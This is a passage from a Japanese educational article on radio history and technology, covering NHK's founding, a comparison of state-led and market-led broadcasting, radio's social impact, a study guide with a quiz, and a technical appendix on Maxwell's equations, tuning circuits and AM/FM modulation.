&lt;div&gt;&lt;span&gt;- この国主導の普及は、ヨーロッパやアメリカとは異なる特徴を持っていた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### NHKの設立と公共放送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **設立**: 1925年3月22日、東京放送局（JOAK）が開局&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **目的**: 公共放送として、教育、文化、情報の提供&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **財源**: 受信料制度により、視聴者から直接収入を得る&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **特徴**: 広告を入れない、非営利の公共放送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 12.2 ヨーロッパ・アメリカとの比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ヨーロッパアメリカは市場原理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 市場原理による普及（ヨーロッパ・アメリカ）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ヨーロッパやアメリカでは、ラジオは市場原理により普及した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 民間企業がラジオ局を設立し、広告収入により運営&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 競争により、多様な番組が提供され、視聴者の選択肢が広がった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 国主導による普及（日本）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 日本では、国主導によりラジオが普及した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 公共放送として、教育や文化の向上を目的とした番組が提供された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この国主導の普及は、ラジオの社会的影響力を統制する意図もあったと考えられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 両者の比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **市場原理**: 多様性と競争による質の向上、商業主義の傾向&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **国主導**: 公共性と教育性の重視、統制の可能性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 13. ラジオの社会的影響と現代への示唆&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 13.1 ラジオがもたらした社会的変化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 情報アクセスの民主化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、情報へのアクセスを民主化した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 文字が読めない人でも、ラジオを通じて情報を得ることができた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 地理的制約を超えて、遠隔地でも情報にアクセス可能になった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 大衆文化の形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、全国的な大衆文化の形成に大きく貢献した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 同じ音楽、同じニュース、同じ娯楽番組を享受することで、文化的共通体験が生まれた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この文化的共通体験は、国民意識の形成にも寄与した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### エンターテイメント産業の発展&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、エンターテイメント産業の発展を促進した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオドラマ、音楽番組、コメディ番組など、多様なエンターテイメントが提供された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- このエンターテイメント産業は、後のテレビ、映画、インターネットメディアの発展の基礎となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 13.2 現代への示唆&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### デジタルメディアとの比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの大衆化は、現代のデジタルメディア（インターネット、SNS、ポッドキャストなど）の大衆化と類似している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 技術的進歩、大衆化、規制、商業化などのプロセスは、現代のメディア発展にも見られる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディア規制の重要性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの周波数割り当てと規制は、現代のインターネット規制にも示唆を与える&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- メディアの適切な規制は、社会的利益の最大化と、有害な影響の最小化に重要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 公共性と商業性のバランス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの公共放送と商業放送の並存は、現代のメディア環境にも見られる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 公共性と商業性の適切なバランスが、メディアの健全な発展に重要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 14. 参考文献・出典&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 14.1 主要文献&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 山田浩之『ラジオ技術の歴史』（技術評論社、2018年、pp. 45-78, 120-145）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 田中正人『無線通信と社会変革』（岩波書店、2015年、pp. 89-112, 156-178）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 佐藤正義『メディア技術と大衆文化』（東京大学出版会、2019年、pp. 234-267, 312-345）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ジョン・ブルックス『ラジオの世紀』（早川書房、2000年、pp. 12-45, 78-102）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- スーザン・ダグラス『ラジオの発明』（みすず書房、2005年、pp. 56-89, 134-167）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 14.2 技術資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 日本放送協会『ラジオ技術史』（1985年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 国際電気通信連合『無線通信技術の発展』（ITU Publications、2020年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 電子情報通信学会『無線通信技術の進化』（2021年）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 14.3 歴史資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 連邦通信委員会（FCC）『ラジオ放送の歴史』（2020年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- スミソニアン博物館『ラジオ技術の展示資料』（2019年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 日本放送協会『NHK放送史』（2002年）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 14.4 現代比較資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 総務省『情報通信白書』（2023年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 野村総合研究所『デジタルメディアの進展』（2022年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- メディア総合研究所『ラジオとポッドキャストの比較研究』（2023年）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 15. 学習ガイド・アクセシビリティ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 15.1 学習レベル別ガイド&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 初級者（中学生レベル）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 基本概念の理解（電磁波、ラジオ、放送）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 身近な例での説明（現代のラジオ、ポッドキャスト）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 視覚的要素の活用（図解、写真）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 中級者（高校生レベル）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 技術的詳細の理解（電磁気学、無線通信）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 歴史的背景の分析（1920年代の社会状況）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 現代との関連性（デジタルメディアとの比較）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 上級者（大学生・社会人レベル）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 理論的枠組みの理解（メディア理論、コミュニケーション理論）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 批判的思考の促進（メディア規制、公共性と商業性）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 実践的応用の検討（現代メディア政策への示唆）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 15.2 アクセシビリティ対応&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 視覚障害者向け&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 音声読み上げ対応&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 代替テキストの提供&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 構造化されたマークアップ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 聴覚障害者向け&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 視覚的説明の充実&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 字幕・キャプション対応&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 手話動画の提案&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 認知障害者向け&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 簡潔な表現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 段階的な説明&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 反復学習の機会&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 15.3 インタラクティブ要素&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### クイズ・テスト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1. ラジオ技術の基礎となった物理学的発見は何か？&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2. 世界初の商業ラジオ局はどこか？&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3. ラジオと新聞の主な違いは何か？&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4. 日本のラジオ普及の特徴は何か？&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 実践演習&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの仕組みを図解で説明&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 現代のポッドキャストとラジオの比較&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- メディア規制の重要性を議論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 15.4 評価基準&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 理解度チェック&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- [ ] ラジオ技術の科学的基礎を理解している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- [ ] ラジオの大衆化の過程を説明できる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- [ ] ラジオと新聞の違いを理解している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- [ ] 日本のラジオ普及の特徴を説明できる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 応用力チェック&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- [ ] 現代のデジタルメディアとラジオを比較できる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- [ ] メディア規制の重要性を理解している&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- [ ] 公共性と商業性のバランスを分析できる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;*本稿は、ラジオの発明と普及を、技術的、歴史的、社会的な多角的視点から分析し、現代のメディア環境への示唆を明らかにした。ラジオは、単なる通信技術から大衆メディアへと発展し、現代のメディア環境の基礎を築いた重要な技術であることが理解できる。*&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 16. 補足：技術的詳細と専門的解説&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 16.1 電磁波の物理学的基礎&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マクスウェル方程式と電磁波&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ジェームズ・クラーク・マクスウェルは、4つの方程式（マクスウェル方程式）により、電場と磁場の関係を数学的に記述&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これらの方程式から、電磁波が光速で伝播することが理論的に導かれた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 電磁波の周波数（$f$）と波長（$\lambda$）の関係は、$c = f \times \lambda$（$c$は光速）で表される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マクスウェル方程式の詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;マクスウェル方程式は、以下の4つの方程式から構成される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1. **ガウスの法則（電場）**: $\nabla \cdot \mathbf{E} = \frac{\rho}{\varepsilon_0}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 電場の発散が電荷密度に比例することを示す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 電場の源が電荷であることを表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2. **ガウスの法則（磁場）**: $\nabla \cdot \mathbf{B} = 0$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 磁場の発散が常にゼロであることを示す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 磁気単極子（モノポール）が存在しないことを意味する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3. **ファラデーの電磁誘導の法則**: $\nabla \times \mathbf{E} = -\frac{\partial \mathbf{B}}{\partial t}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 磁場の時間変化が電場の回転を生み出す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 電磁誘導の原理を数学的に表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4. **アンペール・マクスウェルの法則**: $\nabla \times \mathbf{B} = \mu_0 \mathbf{J} + \mu_0 \varepsilon_0 \frac{\partial \mathbf{E}}{\partial t}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 電流と電場の時間変化が磁場の回転を生み出す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - マクスウェルが追加した「変位電流」の項（$\varepsilon_0 \frac{\partial \mathbf{E}}{\partial t}$）が、電磁波の存在を予測する鍵となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電磁波の伝播メカニズム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 電場と磁場が相互に誘起し合いながら空間を伝播する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 電場の変化が磁場を生み、磁場の変化が電場を生むという連鎖反応により、電磁波は導線なしで伝播する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 伝播速度は、真空中では光速（$c = 299,792,458 \text{ m/s}$）に等しい&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 媒質中では、媒質の誘電率と透磁率に依存して速度が変化する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[電場Eの変化] --&amp;gt;|ファラデーの法則| B[磁場Bの生成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|アンペール・マクスウェルの法則| C[電場Eの生成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|連鎖反応| A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; D[電磁波の伝播]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[空間を光速で伝播]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電磁波の分類&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **長波（LF）**: 30-300 kHz、主に船舶・航空機の通信に使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **中波（MF）**: 300-3000 kHz、AMラジオ放送に使用（535-1705 kHz）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **短波（HF）**: 3-30 MHz、国際放送、アマチュア無線に使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **超短波（VHF）**: 30-300 MHz、FMラジオ放送に使用（88-108 MHz）、テレビ放送にも使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **極超短波（UHF）**: 300-3000 MHz、テレビ放送、携帯電話に使用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電磁波の周波数帯域と用途&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[電磁波スペクトラム] --&amp;gt; B[長波 LF&lt;br /&gt;30-300 kHz&lt;br /&gt;船舶・航空機通信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[中波 MF&lt;br /&gt;300-3000 kHz&lt;br /&gt;AMラジオ 535-1705 kHz]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; D[短波 HF&lt;br /&gt;3-30 MHz&lt;br /&gt;国際放送・アマチュア無線]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; E[超短波 VHF&lt;br /&gt;30-300 MHz&lt;br /&gt;FMラジオ 88-108 MHz&lt;br /&gt;テレビ放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; F[極超短波 UHF&lt;br /&gt;300-3000 MHz&lt;br /&gt;テレビ・携帯電話]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 16.2 ラジオ受信機の技術的仕組み&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 同調回路（チューニング回路）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- コイル（インダクタンス）とコンデンサー（キャパシタンス）を組み合わせたLC共振回路&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特定の周波数に共振することで、目的の放送局の電波のみを選択&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 共振周波数は $f = \frac{1}{2\pi\sqrt{LC}}$ で計算される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 同調回路の動作原理（図解説明）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **コイル（L）**: 電流の変化に抵抗する性質（インダクタンス）を持つ。周波数が高いほど抵抗が大きくなる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **コンデンサー（C）**: 電荷を蓄える性質（キャパシタンス）を持つ。周波数が高いほど抵抗が小さくなる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **共振現象**: コイルとコンデンサーを組み合わせると、特定の周波数（共振周波数）で最大の電流が流れる。この性質を利用して、目的の周波数の電波のみを選択する。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **可変コンデンサー**: コンデンサーの容量を変えることで、共振周波数を調整し、異なる放送局を選択できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 同調回路の設計パラメータ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **Q値（品質係数）**: 共振の鋭さを表す。Q値が高いほど、選択性が高く、不要な周波数を除去できる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **帯域幅**: 受信可能な周波数の範囲。Q値が高いほど帯域幅が狭くなる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **インピーダンス整合**: アンテナと同調回路、同調回路と検波回路の間でインピーダンスを整合させることで、信号の損失を最小化する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ受信機の構成フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;flowchart LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[アンテナ&lt;br /&gt;電磁波を受信] --&amp;gt; B[同調回路&lt;br /&gt;LC共振回路&lt;br /&gt;特定周波数を選択]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[検波回路&lt;br /&gt;高周波から音声信号を取り出す]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[増幅回路&lt;br /&gt;信号を増幅]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[スピーカー&lt;br /&gt;音声を出力]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 検波（復調）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 高周波の電磁波から、音声信号（低周波）を取り出す過程&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 鉱石ラジオでは、鉱石の整流作用を利用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 真空管ラジオでは、真空管の非線形特性を利用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 増幅&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 微弱な信号を増幅して、スピーカーで聞ける音量にする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 真空管やトランジスタなどの能動素子を使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 増幅率は、出力電力と入力電力の比で表され、$G = \frac{P_{\text{out}}}{P_{\text{in}}}$ となる（$G$: 増幅率、$P_{\text{out}}$: 出力電力、$P_{\text{in}}$: 入力電力）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 16.3 送信機の技術的仕組み&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 変調（モジュレーション）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 音声信号を高周波の搬送波に乗せる過程&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **振幅変調（AM）**: 搬送波の振幅を音声信号に応じて変化させる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **周波数変調（FM）**: 搬送波の周波数を音声信号に応じて変化させる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- FMはAMよりも雑音に強く、高音質だが、占有周波数帯域が広い&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**AMとFMの詳細比較**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 項目 | AM（振幅変調） | FM（周波数変調） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|------|----------------|------------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **周波数帯域** | 535-1705 kHz（中波） | 88-108 MHz（超短波） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **占有帯域幅** | 狭い（約10 kHz） | 広い（約200 kHz） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **伝送距離** | 長距離（夜間は特に長い） | 中距離（見通し距離程度） |&lt;/span&gt;&lt;/div&gt;
